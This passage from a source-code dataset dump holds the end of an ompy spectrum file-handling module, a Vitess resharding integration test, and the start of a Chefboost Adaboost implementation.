Path]\n                ) -> Tuple[np.ndarray, np.ndarray, np.ndarray]:\n    mat = np.loadtxt(path)\n    return mat[1:, 1:], mat[0, 1:], mat[1:, 0]\n\n\ndef load_numpy_1D(path: Union[str, Path]\n                  ) -> Tuple[np.ndarray, np.ndarray, Union[np.ndarray, None]]:\n    vec = np.load(path)\n    E = vec[:, 0]\n    values = vec[:, 1]\n    std = None\n    _, col = vec.shape\n    if col >= 3:\n        std = vec[:, 2]\n    return values, E, std\n\n\ndef save_numpy_1D(values: np.ndarray, E: np.ndarray,\n                  std: Union[np.ndarray, None],\n                  path: Union[str, Path]) -> None:\n    mat = None\n    if std is None:\n        mat = np.column_stack((E, values))\n    else:\n        mat = np.column_stack((E, values, std))\n    np.save(path, mat)\n\n\ndef save_csv_1D(values: np.ndarray, E: np.ndarray,\n                std: Union[np.ndarray, None],\n                path: Union[str, Path], **kwargs) -> None:\n    df = {'E': E, 'values': values}\n    if std is not None:\n        df['std'] = std\n    df = pd.DataFrame(df)\n    kwargs.setdefault('index', False)\n    df.to_csv(path, **kwargs)\n\n\ndef load_csv_1D(path: Union[str, Path],\n                **kwargs) -> Tuple[np.ndarray,\n                                   np.ndarray,\n                                   Union[np.ndarray, None]]:\n    df = pd.read_csv(path, **kwargs)\n    E = df['E'].to_numpy(copy=True)\n    values = df['values'].to_numpy(copy=True)\n    std = None\n    if 'std' in df.columns:\n        std = df['std'].to_numpy(copy=True)\n    return values, E, std\n\n\ndef load_txt_1D(path: Union[str, Path]\n                ) -> Tuple[np.ndarray, np.ndarray, Union[np.ndarray, None]]:\n    vec = np.loadtxt(path)\n    E = vec[:, 0]\n    values = vec[:, 1]\n    std = None\n    _, col = vec.shape\n    if col >= 3:\n        std = vec[:, 2]\n    return values, E, std\n\n\ndef save_txt_1D(values: np.ndarray, E: np.ndarray,\n                std: Union[np.ndarray, None],\n                path: Union[str, Path], header='E[keV] values') -> None:\n    \"\"\" E default in keV \"\"\"\n    mat = None\n    if std is None:\n        mat = np.column_stack((E, values))\n    else:\n        mat = np.column_stack((E, values, std))\n    np.savetxt(path, mat, header=header)\n\n\ndef filetype_from_suffix(path: Path) -> str:\n    suffix = path.suffix\n    if suffix == '.tar':\n        return 'tar'\n    elif suffix == '.npy':\n        return 'numpy'\n    elif suffix == '.txt':\n        return 'txt'\n    elif suffix == '.m':\n        return 'mama'\n    elif suffix == '.csv':\n        return 'csv'\n    else:\n        return \"unknown\"\n\n\ndef load_discrete(path: Union[str, Path], energy: ndarray,\n                  resolution: float = 0.1) -> Tuple[ndarray, ndarray]:\n    \"\"\"Load discrete levels and apply smoothing\n\n    Assumes linear equdistant binning\n\n    Args:\n        path (Union[str, Path]): The file to load\n        energy (ndarray): The binning to use\n        resolution (float, optional): The resolution (FWHM) to apply to the\n            gaussian smoothing. Defaults to 0.1.\n\n    Returns:\n        Tuple[ndarray, ndarray]\n    \"\"\"\n    energies = np.loadtxt(path)\n    energies /= 1e3  # convert to MeV\n    if len(energies) > 1:\n        assert energies.mean() < 20, \"Probably energies are not in keV\"\n\n    binsize = energy[1] - energy[0]\n    bin_edges = np.append(energy, energy[-1] + binsize)\n    bin_edges -= binsize / 2\n\n    hist, _ = np.histogram(energies, bins=bin_edges)\n    hist = hist.astype(float) / binsize  # convert to levels/MeV\n\n    if resolution > 0:\n        resolution /= 2.3548\n        smoothed = gaussian_filter1d(hist, sigma=resolution / binsize)\n    else:\n        smoothed = None\n    return hist, smoothed\n","repo_name":"oslocyclotronlab/ompy","sub_path":"ompy/filehandling.py","file_name":"filehandling.py","file_ext":"py","file_size_in_byte":12685,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"60"}
+{"seq_id":"9506286626","text":"import struct\n\nimport logging\nimport unittest\n\nimport base_sharding\nimport environment\nimport tablet\nimport utils\n\nfrom vtproto import topodata_pb2\nfrom vtdb import keyrange_constants\n\nkeyspace_id_type = keyrange_constants.KIT_UINT64\npack_keyspace_id = struct.Struct('!Q').pack\n\n# initial shards\n# range '' - 80\nshard_0_master = tablet.Tablet()\nshard_0_replica = tablet.Tablet()\nshard_0_ny_rdonly = tablet.Tablet(cell='ny')\n# range 80 - ''\nshard_1_master = tablet.Tablet()\nshard_1_slave1 = tablet.Tablet()\nshard_1_slave2 = tablet.Tablet()\nshard_1_ny_rdonly = tablet.Tablet(cell='ny')\nshard_1_rdonly1 = tablet.Tablet()\n\n# split shards\n# range 80 - c0\nshard_2_master = tablet.Tablet()\nshard_2_replica1 = tablet.Tablet()\nshard_2_replica2 = tablet.Tablet()\n# range c0 - ''\nshard_3_master = tablet.Tablet()\nshard_3_replica = tablet.Tablet()\nshard_3_rdonly1 = tablet.Tablet()\n\nall_tablets = [shard_0_master, shard_0_replica, shard_0_ny_rdonly,\n               shard_1_master, shard_1_slave1, shard_1_slave2,\n               shard_1_ny_rdonly, shard_1_rdonly1,\n               shard_2_master, shard_2_replica1, shard_2_replica2,\n               shard_3_master, shard_3_replica, shard_3_rdonly1]\n\n\ndef setUpModule():\n  try:\n    environment.topo_server().setup()\n    setup_procs = [t.init_mysql() for t in all_tablets]\n    utils.Vtctld().start()\n    utils.wait_procs(setup_procs)\n  except:\n    tearDownModule()\n    raise\n\n\ndef tearDownModule():\n  utils.required_teardown()\n  if utils.options.skip_teardown:\n    return\n\n  teardown_procs = [t.teardown_mysql() for t in all_tablets]\n  utils.wait_procs(teardown_procs, raise_on_error=False)\n  environment.topo_server().teardown()\n  utils.kill_sub_processes()\n  utils.remove_tmp_files()\n  for t in all_tablets:\n    t.remove_tree()\n\n\nclass TestResharding(unittest.TestCase, base_sharding.BaseShardingTest):\n\n  # create_schema will create the same schema on the keyspace\n  # then insert some values\n  def _create_schema(self):\n    if keyspace_id_type == keyrange_constants.KIT_BYTES:\n      t = 'varbinary(64)'\n    else:\n      t = 'bigint(20) unsigned'\n    # Note that the primary key columns are not defined first on purpose to test\n    # that a reordered column list is correctly used everywhere in vtworker.\n    create_table_template = '''create table %s(\nmsg varchar(64),\ncustom_ksid_col ''' + t + ''' not null,\nid bigint not null,\nparent_id bigint not null,\nprimary key (parent_id, id),\nindex by_msg (msg)\n) Engine=InnoDB'''\n    create_view_template = (\n        'create view %s'\n        '(id, msg, custom_ksid_col) as select id, msg, custom_ksid_col '\n        'from %s')\n    create_timestamp_table = '''create table timestamps(\nname varchar(64),\ntime_milli bigint(20) unsigned not null,\ncustom_ksid_col ''' + t + ''' not null,\nprimary key (name)\n) Engine=InnoDB'''\n    create_unrelated_table = '''create table unrelated(\nname varchar(64),\nprimary key (name)\n) Engine=InnoDB'''\n\n    utils.run_vtctl(['ApplySchema',\n                     '-sql=' + create_table_template % ('resharding1'),\n                     'test_keyspace'],\n                    auto_log=True)\n    utils.run_vtctl(['ApplySchema',\n                     '-sql=' + create_table_template % ('resharding2'),\n                     'test_keyspace'],\n                    auto_log=True)\n    utils.run_vtctl(['ApplySchema',\n                     '-sql=' + create_view_template % ('view1', 'resharding1'),\n                     'test_keyspace'],\n                    auto_log=True)\n    utils.run_vtctl(['ApplySchema',\n                     '-sql=' + create_timestamp_table,\n                     'test_keyspace'],\n                    auto_log=True)\n    utils.run_vtctl(['ApplySchema',\n                     '-sql=' + create_unrelated_table,\n                     'test_keyspace'],\n                    auto_log=True)\n\n  def _insert_startup_values(self):\n    self._insert_value(shard_0_master, 'resharding1', 1, 'msg1',\n                       0x1000000000000000)\n    self._insert_value(shard_1_master, 'resharding1', 2, 'msg2',\n                       0x9000000000000000)\n    self._insert_value(shard_1_master, 'resharding1', 3, 'msg3',\n                       0xD000000000000000)\n\n  def _check_startup_values(self):\n    # check first value is in the right shard\n    self._check_value(shard_2_master, 'resharding1', 2, 'msg2',\n                      0x9000000000000000)\n    self._check_value(shard_2_replica1, 'resharding1', 2, 'msg2',\n                      0x9000000000000000)\n    self._check_value(shard_2_replica2, 'resharding1', 2, 'msg2',\n                      0x9000000000000000)\n    self._check_value(shard_3_master, 'resharding1', 2, 'msg2',\n                      0x9000000000000000, should_be_here=False)\n    self._check_value(shard_3_replica, 'resharding1', 2, 'msg2',\n                      0x9000000000000000, should_be_here=False)\n    self._check_value(shard_3_rdonly1, 'resharding1', 2, 'msg2',\n                      0x9000000000000000, should_be_here=False)\n\n    # check second value is in the right shard too\n    self._check_value(shard_2_master, 'resharding1', 3, 'msg3',\n                      0xD000000000000000, should_be_here=False)\n    self._check_value(shard_2_replica1, 'resharding1', 3, 'msg3',\n                      0xD000000000000000, should_be_here=False)\n    self._check_value(shard_2_replica2, 'resharding1', 3, 'msg3',\n                      0xD000000000000000, should_be_here=False)\n    self._check_value(shard_3_master, 'resharding1', 3, 'msg3',\n                      0xD000000000000000)\n    self._check_value(shard_3_replica, 'resharding1', 3, 'msg3',\n                      0xD000000000000000)\n    self._check_value(shard_3_rdonly1, 'resharding1', 3, 'msg3',\n                      0xD000000000000000)\n\n  def _insert_lots(self, count, base=0):\n    for i in xrange(count):\n      self._insert_value(shard_1_master, 'resharding1', 10000 + base + i,\n                         'msg-range1-%d' % i, 0xA000000000000000 + base + i)\n      self._insert_value(shard_1_master, 'resharding1', 20000 + base + i,\n                         'msg-range2-%d' % i, 0xE000000000000000 + base + i)\n\n  # _check_lots returns how many of the values we have, in percents.\n  def _check_lots(self, count, base=0):\n    found = 0\n    for i in xrange(count):\n      if self._is_value_present_and_correct(shard_2_replica2, 'resharding1',\n                                            10000 + base + i, 'msg-range1-%d' %\n                                            i, 0xA000000000000000 + base + i):\n        found += 1\n      if self._is_value_present_and_correct(shard_3_replica, 'resharding1',\n                                            20000 + base + i, 'msg-range2-%d' %\n                                            i, 0xE000000000000000 + base + i):\n        found += 1\n    percent = found * 100 / count / 2\n    logging.debug('I have %d%% of the data', percent)\n    return percent\n\n  def _check_lots_timeout(self, count, threshold, timeout, base=0):\n    while True:\n      value = self._check_lots(count, base=base)\n      if value >= threshold:\n        return value\n      timeout = utils.wait_step('waiting for %d%% of the data' % threshold,\n                                timeout, sleep_time=1)\n\n  # _check_lots_not_present makes sure no data is in the wrong shard\n  def _check_lots_not_present(self, count, base=0):\n    for i in xrange(count):\n      self._check_value(shard_3_replica, 'resharding1', 10000 + base + i,\n                        'msg-range1-%d' % i, 0xA000000000000000 + base + i,\n                        should_be_here=False)\n      self._check_value(shard_2_replica2, 'resharding1', 20000 + base + i,\n                        'msg-range2-%d' % i, 0xE000000000000000 + base + i,\n                        should_be_here=False)\n\n  def test_resharding(self):\n    utils.run_vtctl(['CreateKeyspace',\n                     '--sharding_column_name', 'bad_column',\n                     '--sharding_column_type', 'bytes',\n                     'test_keyspace'])\n    utils.run_vtctl(['SetKeyspaceShardingInfo', 'test_keyspace',\n                     'custom_ksid_col', 'uint64'], expect_fail=True)\n    utils.run_vtctl(['SetKeyspaceShardingInfo', '-force',\n                     'test_keyspace', 'custom_ksid_col', keyspace_id_type])\n\n    shard_0_master.init_tablet('replica', 'test_keyspace', '-80')\n    shard_0_replica.init_tablet('replica', 'test_keyspace', '-80')\n    shard_0_ny_rdonly.init_tablet('rdonly', 'test_keyspace', '-80')\n    shard_1_master.init_tablet('replica', 'test_keyspace', '80-')\n    shard_1_slave1.init_tablet('replica', 'test_keyspace', '80-')\n    shard_1_slave2.init_tablet('replica', 'test_keyspace', '80-')\n    shard_1_ny_rdonly.init_tablet('rdonly', 'test_keyspace', '80-')\n    shard_1_rdonly1.init_tablet('rdonly', 'test_keyspace', '80-')\n\n    utils.run_vtctl(['RebuildKeyspaceGraph', 'test_keyspace'], auto_log=True)\n    ks = utils.run_vtctl_json(['GetSrvKeyspace', 'test_nj', 'test_keyspace'])\n    self.assertEqual(ks['sharding_column_name'], 'custom_ksid_col')\n\n    # we set full_mycnf_args to True as a test in the KIT_BYTES case\n    full_mycnf_args = keyspace_id_type == keyrange_constants.KIT_BYTES\n\n    # create databases so vttablet can start behaving somewhat normally\n    for t in [shard_0_master, shard_0_replica, shard_0_ny_rdonly,\n              shard_1_master, shard_1_slave1, shard_1_slave2, shard_1_ny_rdonly,\n              shard_1_rdonly1]:\n      t.create_db('vt_test_keyspace')\n      t.start_vttablet(wait_for_state=None, full_mycnf_args=full_mycnf_args,\n                       binlog_use_v3_resharding_mode=False)\n\n    # wait for the tablets (replication is not setup, they won't be healthy)\n    for t in [shard_0_master, shard_0_replica, shard_0_ny_rdonly,\n              shard_1_master, shard_1_slave1, shard_1_slave2, shard_1_ny_rdonly,\n              shard_1_rdonly1]:\n      t.wait_for_vttablet_state('NOT_SERVING')\n\n    # reparent to make the tablets work\n    utils.run_vtctl(['InitShardMaster', '-force', 'test_keyspace/-80',\n                     shard_0_master.tablet_alias], auto_log=True)\n    utils.run_vtctl(['InitShardMaster', '-force', 'test_keyspace/80-',\n                     shard_1_master.tablet_alias], auto_log=True)\n\n    # check the shards\n    shards = utils.run_vtctl_json(['FindAllShardsInKeyspace', 'test_keyspace'])\n    self.assertIn('-80', shards, 'unexpected shards: %s' % str(shards))\n    self.assertIn('80-', shards, 'unexpected shards: %s' % str(shards))\n    self.assertEqual(len(shards), 2, 'unexpected shards: %s' % str(shards))\n\n    # create the tables\n    self._create_schema()\n    self._insert_startup_values()\n\n    # run a health check on source replicas so they respond to discovery\n    # (for binlog players) and on the source rdonlys (for workers)\n    for t in [shard_0_replica, shard_1_slave1]:\n      utils.run_vtctl(['RunHealthCheck', t.tablet_alias])\n    for t in [shard_0_ny_rdonly, shard_1_ny_rdonly, shard_1_rdonly1]:\n      utils.run_vtctl(['RunHealthCheck', t.tablet_alias])\n\n    # create the split shards\n    shard_2_master.init_tablet('replica', 'test_keyspace', '80-c0')\n    shard_2_replica1.init_tablet('replica', 'test_keyspace', '80-c0')\n    shard_2_replica2.init_tablet('replica', 'test_keyspace', '80-c0')\n    shard_3_master.init_tablet('replica', 'test_keyspace', 'c0-')\n    shard_3_replica.init_tablet('replica', 'test_keyspace', 'c0-')\n    shard_3_rdonly1.init_tablet('rdonly', 'test_keyspace', 'c0-')\n\n    # start vttablet on the split shards (no db created,\n    # so they're all not serving)\n    shard_2_master.start_vttablet(wait_for_state=None,\n                                  binlog_use_v3_resharding_mode=False)\n    shard_3_master.start_vttablet(wait_for_state=None,\n                                  binlog_use_v3_resharding_mode=False)\n    for t in [shard_2_replica1, shard_2_replica2,\n              shard_3_replica, shard_3_rdonly1]:\n      t.start_vttablet(wait_for_state=None,\n                       binlog_use_v3_resharding_mode=False)\n    for t in [shard_2_master, shard_2_replica1, shard_2_replica2,\n              shard_3_master, shard_3_replica, shard_3_rdonly1]:\n      t.wait_for_vttablet_state('NOT_SERVING')\n\n    utils.run_vtctl(['InitShardMaster', '-force', 'test_keyspace/80-c0',\n                     shard_2_master.tablet_alias], auto_log=True)\n    utils.run_vtctl(['InitShardMaster', '-force', 'test_keyspace/c0-',\n                     shard_3_master.tablet_alias], auto_log=True)\n\n    # check the shards\n    shards = utils.run_vtctl_json(['FindAllShardsInKeyspace', 'test_keyspace'])\n    for s in ['-80', '80-', '80-c0', 'c0-']:\n      self.assertIn(s, shards, 'unexpected shards: %s' % str(shards))\n    self.assertEqual(len(shards), 4, 'unexpected shards: %s' % str(shards))\n\n    utils.run_vtctl(['RebuildKeyspaceGraph', 'test_keyspace'],\n                    auto_log=True)\n    utils.check_srv_keyspace(\n        'test_nj', 'test_keyspace',\n        'Partitions(master): -80 80-\\n'\n        'Partitions(rdonly): -80 80-\\n'\n        'Partitions(replica): -80 80-\\n',\n        keyspace_id_type=keyspace_id_type,\n        sharding_column_name='custom_ksid_col')\n\n    # disable shard_1_slave2, so we're sure filtered replication will go\n    # from shard_1_slave1\n    utils.run_vtctl(['ChangeSlaveType', shard_1_slave2.tablet_alias, 'spare'])\n    shard_1_slave2.wait_for_vttablet_state('NOT_SERVING')\n\n    # we need to create the schema, and the worker will do data copying\n    for keyspace_shard in ('test_keyspace/80-c0', 'test_keyspace/c0-'):\n      utils.run_vtctl(['CopySchemaShard', '--exclude_tables', 'unrelated',\n                       shard_1_rdonly1.tablet_alias, keyspace_shard],\n                      auto_log=True)\n\n    # --max_tps is only specified to enable the throttler and ensure that the\n    # code is executed. But the intent here is not to throttle the test, hence\n    # the rate limit is set very high.\n    utils.run_vtworker(['--cell', 'test_nj',\n                        '--command_display_interval', '10ms',\n                        '--use_v3_resharding_mode=false',\n                        'LegacySplitClone',\n                        '--exclude_tables', 'unrelated',\n                        '--min_healthy_rdonly_tablets', '1',\n                        '--max_tps', '9999',\n                        'test_keyspace/80-'],\n                       auto_log=True)\n    utils.run_vtctl(['ChangeSlaveType', shard_1_rdonly1.tablet_alias,\n                     'rdonly'], auto_log=True)\n\n    # TODO(alainjobart): experiment with the dontStartBinlogPlayer option\n\n    # check the startup values are in the right place\n    self._check_startup_values()\n\n    # check the schema too\n    utils.run_vtctl(['ValidateSchemaKeyspace', '--exclude_tables=unrelated',\n                     'test_keyspace'], auto_log=True)\n\n    # check the binlog players are running and exporting vars\n    self.check_destination_master(shard_2_master, ['test_keyspace/80-'])\n    self.check_destination_master(shard_3_master, ['test_keyspace/80-'])\n\n    # check that binlog server exported the stats vars\n    self.check_binlog_server_vars(shard_1_slave1, horizontal=True)\n\n    # Check that the throttler was enabled.\n    self.check_throttler_service(shard_2_master.rpc_endpoint(),\n                                 ['BinlogPlayer/0'], 9999)\n    self.check_throttler_service(shard_3_master.rpc_endpoint(),\n                                 ['BinlogPlayer/0'], 9999)\n\n    # testing filtered replication: insert a bunch of data on shard 1,\n    # check we get most of it after a few seconds, wait for binlog server\n    # timeout, check we get all of it.\n    logging.debug('Inserting lots of data on source shard')\n    self._insert_lots(1000)\n    logging.debug('Checking 80 percent of data is sent quickly')\n    v = self._check_lots_timeout(1000, 80, 5)\n    if v != 100:\n      # small optimization: only do this check if we don't have all the data\n      # already anyway.\n      logging.debug('Checking all data goes through eventually')\n      self._check_lots_timeout(1000, 100, 20)\n    logging.debug('Checking no data was sent the wrong way')\n    self._check_lots_not_present(1000)\n    self.check_binlog_player_vars(shard_2_master, ['test_keyspace/80-'],\n                                  seconds_behind_master_max=30)\n    self.check_binlog_player_vars(shard_3_master, ['test_keyspace/80-'],\n                                  seconds_behind_master_max=30)\n    self.check_binlog_server_vars(shard_1_slave1, horizontal=True,\n                                  min_statements=1000, min_transactions=1000)\n\n    # use vtworker to compare the data (after health-checking the destination\n    # rdonly tablets so discovery works)\n    utils.run_vtctl(['RunHealthCheck', shard_3_rdonly1.tablet_alias])\n    logging.debug('Running vtworker SplitDiff')\n    utils.run_vtworker(['-cell', 'test_nj',\n                        '--use_v3_resharding_mode=false',\n                        'SplitDiff',\n                        '--exclude_tables', 'unrelated',\n                        '--min_healthy_rdonly_tablets', '1',\n                        'test_keyspace/c0-'],\n                       auto_log=True)\n    utils.run_vtctl(['ChangeSlaveType', shard_1_rdonly1.tablet_alias, 'rdonly'],\n                    auto_log=True)\n    utils.run_vtctl(['ChangeSlaveType', shard_3_rdonly1.tablet_alias, 'rdonly'],\n                    auto_log=True)\n\n    utils.pause('Good time to test vtworker for diffs')\n\n    # get status for destination master tablets, make sure we have it all\n    self.check_running_binlog_player(shard_2_master, 4000, 2000)\n    self.check_running_binlog_player(shard_3_master, 4000, 2000)\n\n    # tests a failover switching serving to a different replica\n    utils.run_vtctl(['ChangeSlaveType', shard_1_slave2.tablet_alias, 'replica'])\n    utils.run_vtctl(['ChangeSlaveType', shard_1_slave1.tablet_alias, 'spare'])\n    shard_1_slave2.wait_for_vttablet_state('SERVING')\n    shard_1_slave1.wait_for_vttablet_state('NOT_SERVING')\n    utils.run_vtctl(['RunHealthCheck', shard_1_slave2.tablet_alias])\n\n    # test data goes through again\n    logging.debug('Inserting lots of data on source shard')\n    self._insert_lots(1000, base=1000)\n    logging.debug('Checking 80 percent of data was sent quickly')\n    self._check_lots_timeout(1000, 80, 5, base=1000)\n    self.check_binlog_server_vars(shard_1_slave2, horizontal=True,\n                                  min_statements=800, min_transactions=800)\n\n    # check we can't migrate the master just yet\n    utils.run_vtctl(['MigrateServedTypes', 'test_keyspace/80-', 'master'],\n                    expect_fail=True)\n\n    # check query service is off on master 2 and master 3, as filtered\n    # replication is enabled. Even health check that is enabled on\n    # master 3 should not interfere (we run it to be sure).\n    utils.run_vtctl(['RunHealthCheck', shard_3_master.tablet_alias],\n                    auto_log=True)\n    for master in [shard_2_master, shard_3_master]:\n      utils.check_tablet_query_service(self, master, False, False)\n      stream_health = utils.run_vtctl_json(['VtTabletStreamHealth',\n                                            '-count', '1',\n                                            master.tablet_alias])\n      logging.debug('Got health: %s', str(stream_health))\n      self.assertIn('realtime_stats', stream_health)\n      self.assertNotIn('serving', stream_health)\n\n    # check the destination master 3 is healthy, even though its query\n    # service is not running (if not healthy this would exception out)\n    shard_3_master.get_healthz()\n\n    # now serve rdonly from the split shards, in test_nj only\n    utils.run_vtctl(['MigrateServedTypes', '--cells=test_nj',\n                     'test_keyspace/80-', 'rdonly'], auto_log=True)\n    utils.check_srv_keyspace('test_nj', 'test_keyspace',\n                             'Partitions(master): -80 80-\\n'\n                             'Partitions(rdonly): -80 80-c0 c0-\\n'\n                             'Partitions(replica): -80 80-\\n',\n                             keyspace_id_type=keyspace_id_type,\n                             sharding_column_name='custom_ksid_col')\n    utils.check_srv_keyspace('test_ny', 'test_keyspace',\n                             'Partitions(master): -80 80-\\n'\n                             'Partitions(rdonly): -80 80-\\n'\n                             'Partitions(replica): -80 80-\\n',\n                             keyspace_id_type=keyspace_id_type,\n                             sharding_column_name='custom_ksid_col')\n    utils.check_tablet_query_service(self, shard_0_ny_rdonly, True, False)\n    utils.check_tablet_query_service(self, shard_1_ny_rdonly, True, False)\n    utils.check_tablet_query_service(self, shard_1_rdonly1, False, True)\n\n    # now serve rdonly from the split shards, everywhere\n    utils.run_vtctl(['MigrateServedTypes', 'test_keyspace/80-', 'rdonly'],\n                    auto_log=True)\n    utils.check_srv_keyspace('test_nj', 'test_keyspace',\n                             'Partitions(master): -80 80-\\n'\n                             'Partitions(rdonly): -80 80-c0 c0-\\n'\n                             'Partitions(replica): -80 80-\\n',\n                             keyspace_id_type=keyspace_id_type,\n                             sharding_column_name='custom_ksid_col')\n    utils.check_srv_keyspace('test_ny', 'test_keyspace',\n                             'Partitions(master): -80 80-\\n'\n                             'Partitions(rdonly): -80 80-c0 c0-\\n'\n                             'Partitions(replica): -80 80-\\n',\n                             keyspace_id_type=keyspace_id_type,\n                             sharding_column_name='custom_ksid_col')\n    utils.check_tablet_query_service(self, shard_0_ny_rdonly, True, False)\n    utils.check_tablet_query_service(self, shard_1_ny_rdonly, False, True)\n    utils.check_tablet_query_service(self, shard_1_rdonly1, False, True)\n\n    # then serve replica from the split shards\n    destination_shards = ['test_keyspace/80-c0', 'test_keyspace/c0-']\n\n    utils.run_vtctl(['MigrateServedTypes', 'test_keyspace/80-', 'replica'],\n                    auto_log=True)\n    utils.check_srv_keyspace('test_nj', 'test_keyspace',\n                             'Partitions(master): -80 80-\\n'\n                             'Partitions(rdonly): -80 80-c0 c0-\\n'\n                             'Partitions(replica): -80 80-c0 c0-\\n',\n                             keyspace_id_type=keyspace_id_type,\n                             sharding_column_name='custom_ksid_col')\n    utils.check_tablet_query_service(self, shard_1_slave2, False, True)\n\n    # move replica back and forth\n    utils.run_vtctl(\n        ['MigrateServedTypes', '-reverse', 'test_keyspace/80-', 'replica'],\n        auto_log=True)\n    # After a backwards migration, queryservice should be enabled on\n    # source and disabled on destinations\n    utils.check_tablet_query_service(self, shard_1_slave2, True, False)\n    # Destination tablets would have query service disabled for other\n    # reasons than the migration, so check the shard record instead of\n    # the tablets directly.\n    utils.check_shard_query_services(self, destination_shards,\n                                     topodata_pb2.REPLICA, False)\n    utils.check_srv_keyspace('test_nj', 'test_keyspace',\n                             'Partitions(master): -80 80-\\n'\n                             'Partitions(rdonly): -80 80-c0 c0-\\n'\n                             'Partitions(replica): -80 80-\\n',\n                             keyspace_id_type=keyspace_id_type,\n                             sharding_column_name='custom_ksid_col')\n\n    utils.run_vtctl(['MigrateServedTypes', 'test_keyspace/80-', 'replica'],\n                    auto_log=True)\n    # After a forwards migration, queryservice should be disabled on\n    # source and enabled on destinations\n    utils.check_tablet_query_service(self, shard_1_slave2, False, True)\n    # Destination tablets would have query service disabled for other\n    # reasons than the migration, so check the shard record instead of\n    # the tablets directly\n    utils.check_shard_query_services(self, destination_shards,\n                                     topodata_pb2.REPLICA, True)\n    utils.check_srv_keyspace('test_nj', 'test_keyspace',\n                             'Partitions(master): -80 80-\\n'\n                             'Partitions(rdonly): -80 80-c0 c0-\\n'\n                             'Partitions(replica): -80 80-c0 c0-\\n',\n                             keyspace_id_type=keyspace_id_type,\n                             sharding_column_name='custom_ksid_col')\n\n    # use vtworker to compare the data again\n    logging.debug('Running vtworker SplitDiff')\n    utils.run_vtworker(['-cell', 'test_nj',\n                        '--use_v3_resharding_mode=false',\n                        'SplitDiff',\n                        '--exclude_tables', 'unrelated',\n                        '--min_healthy_rdonly_tablets', '1',\n                        'test_keyspace/c0-'],\n                       auto_log=True)\n    utils.run_vtctl(['ChangeSlaveType', shard_1_rdonly1.tablet_alias, 'rdonly'],\n                    auto_log=True)\n    utils.run_vtctl(['ChangeSlaveType', shard_3_rdonly1.tablet_alias, 'rdonly'],\n                    auto_log=True)\n\n    # mock with the SourceShard records to test 'vtctl SourceShardDelete'\n    # and 'vtctl SourceShardAdd'\n    utils.run_vtctl(['SourceShardDelete', 'test_keyspace/c0-', '0'],\n                    auto_log=True)\n    utils.run_vtctl(['SourceShardAdd', '--key_range=80-',\n                     'test_keyspace/c0-', '0', 'test_keyspace/80-'],\n                    auto_log=True)\n\n    # then serve master from the split shards, make sure the source master's\n    # query service is now turned off\n    utils.run_vtctl(['MigrateServedTypes', 'test_keyspace/80-', 'master'],\n                    auto_log=True)\n    utils.check_srv_keyspace('test_nj', 'test_keyspace',\n                             'Partitions(master): -80 80-c0 c0-\\n'\n                             'Partitions(rdonly): -80 80-c0 c0-\\n'\n                             'Partitions(replica): -80 80-c0 c0-\\n',\n                             keyspace_id_type=keyspace_id_type,\n                             sharding_column_name='custom_ksid_col')\n    utils.check_tablet_query_service(self, shard_1_master, False, True)\n\n    # check the binlog players are gone now\n    self.check_no_binlog_player(shard_2_master)\n    self.check_no_binlog_player(shard_3_master)\n\n    # delete the original tablets in the original shard\n    tablet.kill_tablets([shard_1_master, shard_1_slave1, shard_1_slave2,\n                         shard_1_ny_rdonly, shard_1_rdonly1])\n    for t in [shard_1_slave1, shard_1_slave2, shard_1_ny_rdonly,\n              shard_1_rdonly1]:\n      utils.run_vtctl(['DeleteTablet', t.tablet_alias], auto_log=True)\n    utils.run_vtctl(['DeleteTablet', '-allow_master',\n                     shard_1_master.tablet_alias], auto_log=True)\n\n    # rebuild the serving graph, all mentions of the old shards shoud be gone\n    utils.run_vtctl(\n        ['RebuildKeyspaceGraph', 'test_keyspace'], auto_log=True)\n\n    # test RemoveShardCell\n    utils.run_vtctl(\n        ['RemoveShardCell', 'test_keyspace/-80', 'test_nj'], auto_log=True,\n        expect_fail=True)\n    utils.run_vtctl(\n        ['RemoveShardCell', 'test_keyspace/80-', 'test_nj'], auto_log=True)\n    utils.run_vtctl(\n        ['RemoveShardCell', 'test_keyspace/80-', 'test_ny'], auto_log=True)\n    shard = utils.run_vtctl_json(['GetShard', 'test_keyspace/80-'])\n    self.assertTrue('cells' not in shard or not shard['cells'])\n\n    # delete the original shard\n    utils.run_vtctl(['DeleteShard', 'test_keyspace/80-'], auto_log=True)\n\n    # kill everything\n    tablet.kill_tablets([shard_0_master, shard_0_replica, shard_0_ny_rdonly,\n                         shard_2_master, shard_2_replica1, shard_2_replica2,\n                         shard_3_master, shard_3_replica, shard_3_rdonly1])\n\nif __name__ == '__main__':\n  utils.main()\n","repo_name":"percona/qan-api","sub_path":"vendor/github.com/youtube/vitess/test/legacy_resharding.py","file_name":"legacy_resharding.py","file_ext":"py","file_size_in_byte":27852,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"60"}
+{"seq_id":"5778019329","text":"import pandas as pd\r\nimport numpy as np\r\n\r\nfrom Chefboost.commons import functions\r\nfrom Chefboost.training import Training\r\n\r\nimport imp\r\nimport math\r\n\r\nfrom tqdm import tqdm\r\n\r\ndef findPrediction(row):\r\n\tepoch = row['Epoch']\r\n\trow = row.drop(labels=['Epoch'])\r\n\tcolumns = row.shape[0]\r\n\t\r\n\tparams = []\r\n\tfor j in range(0, columns-1):\r\n\t\tparams.append(row[j])\r\n\t\t\r\n\tmoduleName = \"outputs/rules/rules_%d\" % (epoch)\r\n\tfp, pathname, description = imp.find_module(moduleName)\r\n\tmyrules = imp.load_module(moduleName, fp, pathname, description)\r\n\t\r\n\tprediction = functions.sign(myrules.findDecision(params))\r\n\t\r\n\treturn prediction\r\n\r\ndef apply(df, config, header, dataset_features):\r\n\r\n\tmodels = []; alphas = []\r\n\t\r\n\tinitializeAlphaFile()\r\n\t\r\n\tnum_of_weak_classifier = config['num_of_weak_classifier']\r\n\t\r\n\t#------------------------\r\n\t\r\n\trows = df.shape[0]; columns = df.shape[1]\r\n\tfinal_predictions = pd.DataFrame(np.zeros([rows, 1]), columns=['prediction'])\r\n\t\r\n\tworksheet = df.copy()\r\n\tworksheet['Weight'] = 1 / rows #uniform distribution initially\r\n\t\r\n\tfinal_predictions = pd.DataFrame(np.zeros((df.shape[0], 2)), columns = ['Prediction', 'Actual'])\r\n\tfinal_predictions['Actual'] = df['Decision']\r\n\t\r\n\t#for i in range(0, num_of_weak_classifier):\r\n\tpbar = tqdm(range(0, num_of_weak_classifier), desc='Adaboosting')\r\n\tfor i in pbar:\r\n\t\tworksheet['Decision'] = 